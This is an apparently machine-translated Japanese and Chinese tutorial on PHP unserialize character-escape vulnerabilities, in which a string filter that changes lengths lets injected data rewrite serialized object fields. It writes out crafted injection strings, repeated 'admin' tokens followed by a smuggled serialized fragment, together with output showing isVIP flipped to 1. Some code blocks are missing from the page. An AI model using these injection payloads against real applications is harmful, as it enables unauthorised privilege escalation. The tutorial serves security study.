ホームページ  >  記事  >  バックエンド開発  >  PHP における逆シリアル化文字エスケープの原理の深い理解

PHP における逆シリアル化文字エスケープの原理の深い理解

青灯夜游
青灯夜游転載
2021-08-24 19:18:023418ブラウズ

PHP における逆シリアル化文字エスケープの原理の深い理解

PHP 逆シリアル化文字エスケープの原理

開発者が最初にオブジェクトをシリアル化し、次にオブジェクトをオブジェクト文字でシリアル化する場合フィルタリングされ、最終的に逆シリアル化されます。現時点では、PHP の逆シリアル化文字エスケープに脆弱性が存在する可能性があります。

PHP デシリアライズ文字エスケープの詳細説明

PHP デシリアライズ文字エスケープについては、次の 2 つの状況に分けて説明します。

  • #フィルタリング後の文字数が増えます

  • フィルタリング後の文字数が減ります

フィルタリング後はさらに多くの文字が存在します

最初に

user クラスを定義し、その中に合計 3 つのメンバー変数があると仮定します。 ユーザー名パスワードisVIP

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}

このクラスが初期化されると、

isVIP 変数はデフォルトで 0 に設定され、初期化中に渡されるパラメーターの影響を受けないことがわかります。

次に、分析を容易にするために完全なコードを投稿します。

このプログラムの出力は次のとおりです。

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

ご覧のとおり、オブジェクトのシリアル化後の

isVIP 変数は 0 です。

現時点では、管理者文字を置き換える関数を追加します。管理者をハッカーに置き換えます。置換関数は次のとおりです:

function filter($s){
return str_replace("admin","hacker",$s);
}

したがって、プログラム全体は次のようになります:

このプログラムの出力は次のとおりです:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

この時点で、2 つのプログラムの出力を取り出して比較します:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤

string の hacker は、前の文字の長さ <pre class="brush:php;toolbar:false">s:5:&quot;admin&quot;; s:5:&quot;hacker&quot;;</pre> に対応していません。現時点では、新しいオブジェクトを作成するときに、受信する

admin

制御可能な変数 次に、目標を明確にします。

isVIP

変数の値を 1 に変更します。まず、## を変更します。 # 既存の部分文字列

ターゲット部分文字列 を比較します:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
つまり、制御可能な変数 admin

を注入する必要があります

ターゲット部分文字列最初に、挿入する必要がある ターゲット部分文字列の長さを計算します

:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47
エスケープする必要がある文字列の長さは 47

であるため、および

admin は各フィルタリング後に hacker になります。つまり、admin が表示されるたびに、1 文字が追加されることになります。 したがって、制御可能な変数で 47

admin を繰り返し、エスケープされたターゲット部分文字列を追加します。制御可能な変数は次のように変更されます:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完全なコードは次のとおりです:

プログラムの出力は次のとおりです:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

ハッカー

の数を数えることができ、合計は

47hacker、合計 282 文字。前の 282 に正確に対応します。 後ろに挿入された部分文字列もエスケープを完了するだけです。

デシリアライズ後、冗長な部分文字列は破棄されます

次に、シリアル化の結果をデシリアライズして出力します。完全なコードは次のとおりです:

プログラムの出力は次のとおりです。

object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

この時点で、変数

isVIP

1 になり、逆シリアル化文字がエスケープされていることがわかります。目的は次のとおりです。達成。

フィルタリング後の文字の減少

上記は、PHP デシリアライゼーション文字エスケープでより多くの文字が存在する状況を説明しています。

以下では、逆シリアル化文字のエスケープが減少する状況について説明します。

まず、本体のコードは上記と同じでクラスも同じですが、フィルター関数の中で、hacker を hack に変更している点が異なります。

完全なコードは次のとおりです:

結果を取得します:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

また、

既存の部分文字列

ターゲットの部分文字列も比較します。 :

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
フィルタリング中に 5

文字が

4 まで削除されたため、文字数が増える上記の状況とは逆に、# を追加すると、 ##admin の数が増加すると、 既存の部分文字列 がインデントされます。 ターゲット部分文字列の長さを計算します :

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
//长度为47

次に、 次の制御可能な変数までの文字列の長さを計算します :

";s:8:"password";s:6:"
//长度为22

1 文字はフィルタリングのたびに欠落するため、最初に

admin

文字を 22 回繰り返します (ここでの 22 回はエスケープ状況とは異なります)より多くの文字を使用すると正確であり、後で調整する必要がある場合があります) 完全なコードは次のとおりです: (ここの変数には合計 22 admin があります)

出力結果:

注:

PHP デシリアライズの仕組みは、例えば文字数が 10 文字あるのに 9 文字しか読み込まれないと指定した場合、二重引用符に到達します。このとき、PHP はダブルクォーテーションを 10 文字目として扱い、つまりダブルクォーテーションで文字列が終了したかどうかを判断するのではなく、あらかじめ指定した番号に基づいて文字列を読み取ります。

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

PHP における逆シリアル化文字エスケープの原理の深い理解

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

完整代码为:

输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

PHP における逆シリアル化文字エスケープの原理の深い理解

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果:

PHP における逆シリアル化文字エスケープの原理の深い理解

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

得到结果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

推荐学习:《PHP视频教程

以上がPHP における逆シリアル化文字エスケープの原理の深い理解の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事は合天网安实验室で複製されています。侵害がある場合は、admin@php.cn までご連絡ください。